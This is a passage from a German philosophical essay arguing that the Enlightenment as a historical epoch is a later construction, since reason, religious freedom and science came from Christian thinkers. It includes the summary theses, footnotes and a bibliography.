(5.2) Martin Luther schrieb in seiner Schrift Von weltlicher Obrigkeit 1523, die weltliche Macht habe in Dingen des Glaubens und der kirchlichen Lehre nichts zu schaffen – ab 1530 sprach er sich allerdings, dem Reichsrecht folgend, für die Hinrichtung der Täufer aus. Die frühesten deutlichen Forderungen nach Religionsfreiheit stammen von Christen, welche die katholische Kirche und die evangelischen Landeskirchen kritisierten: Balthasar Hubmaier (1485–1528), Leupold Scharnschlager (1485–1563) und Sebastian Franck (1499–1542). Der Baptist Leonard Busher hat 1614 völlige Religionsfreiheit gefordert.

(5.3) Oft wird der Gedanke der Religionsfreiheit John Lockes Schrift Letter concerning toleration von 1689 zugeschrieben und damit als Errungenschaft der Aufklärung angesehen. Doch erstens gab es die genannten viel früheren Forderungen nach Religionsfreiheit. Zweitens bekannte sich auch Locke zum Christentum, wie besonders aus seiner Schrift The Reasonableness of Christianity as Deliver’d in the Scriptures von 1695 hervorgeht, in der er darlegt, daß die biblische christliche Lehre der Vernunft entspricht. Er nahm die christliche Offenbarung und die christlichen Wunder an und entspricht daher nicht der Aufklärungsvorstellung. Auch er wurde posthum für die Aufklärung vereinnahmt.

(5.4) Man kann sagen, daß die Religions- und Meinungsfreiheit gegen den Widerstand der Kirchen errungen wurde oder zumindest daß die Kirchen versäumten, sich gegen die weltlichen Herrschenden für Religionsfreiheit einzusetzen, aber dennoch ist sie vor allem nicht durch die Aufklärer und nicht durch Christentumskritiker, sondern durch bekennende Christen und durch das Christentum entstanden.

6 Zusammenfassung 

(6.1) Die Aussagen „In Deutschland hatten wir die Aufklärung“, „Das 18. Jahrhundert war das Jahrhundert der Aufklärung“ und „Die Aufklärung existiert“ wären nur dann wahr, wenn die folgenden Aussagen wahr wären:

  1. Um 1700 gab es in Deutschland eine starke Zunahme des Strebens nach Vernunft durch die der Aufklärung zugerechneten Personen. Davor war die Vernunft wesentlich schwächer vorhanden.
  2. Die Vernunft wurde durch die Kirche, das Christentum und den Glauben an Offenbarung behindert.
  3. Die der Aufklärung zugerechneten Personen glaubten oder sagten, daß sie Vernunft in eine vernunftarme Zeit brächten, und vertraten die mit dem Begriff „Aufklärung“ assoziierten Positionen, insbesondere die Ablehnung von Offenbarung und Wundern.
  4. Einige der Aufklärung zugerechneten Personen haben die Forderung nach Religionsfreiheit aufgebracht.
  5. Einige der Aufklärung zugerechneten Personen haben, gegen den Widerstand der Kirche, die Naturwissenschaft entwickelt oder stark weiterentwickelt.

(6.2) Aus folgenden Gründen existiert die Aufklärung nicht:

  1. Um 1700 gab es keine starke Zunahme des Strebens nach Vernunft. Unter Christen gab es schon immer ein starkes Streben nach Vernunft, was sowohl zu wissenschaftlicher Philosophie als auch, ab dem 14. Jahrhundert, zur Entstehung der Naturwissenschaft führte.
  2. Das Christentum und die Kirche haben das Streben nach Vernunft gefördert.
  3. Die allgemein zur Aufklärung gezählten Philosophen Leibniz, Thomasius und Wolff glaubten oder sagten nicht, daß sie Vernunft in eine vernunftarme Zeit brächten. Sie glaubten an die christliche Offenbarung.
  4. Religionsfreiheit wurde bereits im 16. Jahrhundert gefordert, und zwar von entschiedenen Christen.
  5. Die Naturwissenschaft entstand, begünstigt durch die christliche Philosophie, ab dem 13. Jahrhundert. Die Naturwissenschaftler des 16. und 17. Jahrhunderts waren zum Großteil bekennende Christen. Die Kirche hat im allgemeinen die Entstehung der Naturwissenschaft gefördert.

Selbst wenn nur eine oder zwei dieser Thesen wahr wären, existierte die Aufklärung nicht. Wahr ist aber, daß es die Aufklärer, die um 1800 wirkenden Schöpfer und Verkünder der Aufklärung gab. Es ist nicht wahr, daß 1680 die Aufklärung einsetzte, aber es ist wahr, daß einige um 1800 behauptet haben, daß um 1680 die Aufklärung eingesetzt habe.

(6.3) Einige deutsche Journalisten und Literaten erschufen die Idee der Aufklärung, indem sie nach 1770 die Vorstellung verbreiteten, daß um 1680 die Vernunft begann, sich gegen die Kirche durchzusetzen, daß dadurch das 18. Jahrhundert das Zeitalter der Aufklärung geworden sei und daß Religionsfreiheit und Naturwissenschaft Errungenschaften der Aufklärung seien. Um die Vorstellung einer Fortschrittsentwicklung vom Christentum weg zu erzeugen und um renommierte Wissenschaftler zur Aufklärung zählen zu können, vereinnahmten sie Leibniz, Thomasius und Wolff.

(6.4) Die Aufklärungsrhetorik gibt vor, vernünftig zu sein, ist aber gerade darauf ausgerichtet, Menschen nicht durch Argumente, sondern durch Bluff und Gefühle zu beeinflussen. Durch das ehrfurchterregende „In der Aufklärung begann man, nach Vernunft zu streben“ oder „Man kann heute, nach der Aufklärung, nicht mehr an Wunder glauben“ kann man Menschen stärker beeinflussen, als wenn man sich auf die Diskussion einließe, was eigentlich gegen das Vorkommen von Wundern spricht. Um die Vernunft zu fördern, brauchen wir Aufklärung über die Aufklärung.[21]

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Fußnoten

[*] Wird erscheinen in: Jahrbuch des Denkens 1 (2017), Verlag Bautz.

[◊] Internationale Akademie für Philosophie im Fürstentum Liechtenstein, von-wachter.de, Epost: epostATvon-wachter.de.

[1] Russell, Wisdom of the West, S. 232. Übs. dvw.

[2] https://www.helles-koepfchen.de/artikel/2862.html, abgerufen am 28.1.2017.

[3] Schneiders, Das Zeitalter der Aufklärung, S. 100.

[4] Einen guten Überblick über die Protestantische Scholastik gewährt Wundt, Die deutsche Schulmetaphysik des 17. Jahrhunderts.

[5] Einen guten vollständigen Überblick über die deutsche Philosophie des 18. Jahrhunderts bietet Wundt, Die deutsche Schulphilosophie im Zeitalter der Aufklärung.

[6] Bahrdt, Geschichte seines Lebens, seiner Meinungen und Schicksale, Erster Theil, S. 118.

[7] Pütz, Die deutsche Aufklärung, S. 10.

[8] Kant hält zwar an der dem Determinismus widersprechenden Willensfreiheit fest, hält andererseits aber das Kausalprinzip für a priori.

[9] Vgl. https://de.wikipedia.org/wiki/Flache_Erde.

[10] Vgl. www.zeit.de/2012/27/China-Aufklaerung

[11] Brief Newtons an Richard Bentley vom 10.12.1692. Übs. dvw.

[12] Newton, Mathematische Prinzipien der Naturlehre, S. 508. Dies gehört zur Allgemeinen Anmerkung (lat. „Scholium generale“), § 61, die Newton in der zweiten Auflage (1713) der Principia dem III. Buch hinzugefügt hat.

[13] Ausführlicher dargelegt wird diese Sicht in Stark, The Victory of Reason, Kap. 1.

[14] Newton, Mathematische Prinzipien der Naturlehre, S. 509.

[15] Ebd., S. 511.

[16] Shapin, The Scientific Revolution, S. 1.

[17] Brief an Robert Hooke, datiert 5.2.1675.

[18] Stark, How the West Won, p. 303.

[19] Untersuchungen der Naturwissenschaft im 16. und 17. Jahrhundert: Shapin, ebd.; Osler, Rethinking the Scientific Revolution. Stark, How the West Won, Kap. 15 untersucht die Religion der Naturwissenschaftler dieser Zeit. Einen guten Überblick über die Naturwissenschaft vor 1500 bieten Hannam, Die vergessenen Erfinder: Wie im Mittelalter die moderne Wissenschaft entstand, Stark, How the West Won, Kap. 8 und Freely, Before Galileo. Ferner Lindberg und Shank, The Cambridge History of Science Volume 2: Medieval Science; Lindberg, The Beginnings of Western Science; Crombie, Science, Art and Nature in Medieval and Modern Thought; Grant, The Foundations of Modern Science in the Middle Ages. Den Beitrag der Metaphysik und der philosophischen Theologie zur Entstehung der Naturwissenschaft untersuchen Stark, The Victory of Reason, Kap. 1 und Grant, God and Reason in the Middle Ages. Stark vertritt die These, daß die griechische Philosophie die Entstehung der Naturwissenschaft behindert habe.

[20] Das Ausmaß dieser Gewalt wird in Angenendt, Toleranz und Gewalt: Das Christentum zwischen Bibel und Schwert gründlich untersucht.

[21] In der englischen Literatur über die Aufklärung wird schon länger untersucht, wie es zur Aufklärungsrhetorik und zur Stilisierung des 18. Jahrhunderts als „Zeitalter der Aufklärung“ kam. Edelstein, The Enlightenment: A Genealogy spricht von „narrative“ und „myth“.

Literatur 

Angenendt, Arnold. Toleranz und Gewalt: Das Christentum zwischen Bibel und Schwert. Münster: Aschendorff, 2012.

Bahrdt, Carl Friedrich. Geschichte seines Lebens, seiner Meinungen und Schicksale, Erster Theil. Berlin, 1790.

Crombie, A. C. Science, Art and Nature in Medieval and Modern Thought. Rio Grande (Ohio): Hambledon Press, 1996.

Edelstein, Dan. The Enlightenment: A Genealogy. Univ. of Chicago Press, 2010.

Freely, John. Before Galileo. The Birth of Modern Science in Medieval Europe. New York: Overlook Press, 2013.

Grant, Edward. God and Reason in the Middle Ages. Cambridge UP, 2004. – The Foundations of Modern Science in the Middle Ages. Cambridge UP, 1996.

Hannam, James. Die vergessenen Erfinder: Wie im Mittelalter die moderne Wissenschaft entstand. Sankt Ulrich Verlag, 2011.

Lindberg, David C. The Beginnings of Western Science. Chicago: Univ. of Chicago Press, 2008.

Lindberg, David C. und Michael H. Shank, Hrsg. The Cambridge History of Science Volume 2: Medieval Science. Cambridge UP, 2013.

Newton, Isaac. Mathematische Prinzipien der Naturlehre. Aus dem Lateinischen übers. von Ph. Wolfers. Berlin: Oppenheim, 1725.

Osler, Margaret J., Hrsg. Rethinking the Scientific Revolution. Cambridge UP, 2000.

Pütz, Peter. Die deutsche Aufklärung. 4. Aufl. Darmstadt: WBG, 1991.

Russell, Bertrand. Wisdom of the West. New York: Doubleday, 1959.

Schneiders, Werner. Das Zeitalter der Aufklärung. C. H. Beck, 2001.

Shapin, Steven. The Scientific Revolution. Chicago University Press, 1996.

Stark, Rodney. How the West Won. The Neglected Story of the Triumph. Wilmington (Delaware): ISI Books, 2015.

The Victory of Reason. How Christianity Led to Freedom, Capitalism, and Western Success. New York: Random House, 2006. Wundt, Max. Die deutsche Schulmetaphysik des 17. Jahrhunderts. Tübingen: Mohr Siebeck, 1939.

Die deutsche Schulphilosophie im Zeitalter der Aufklärung. Tübingen: Mohr Siebeck, 1945.

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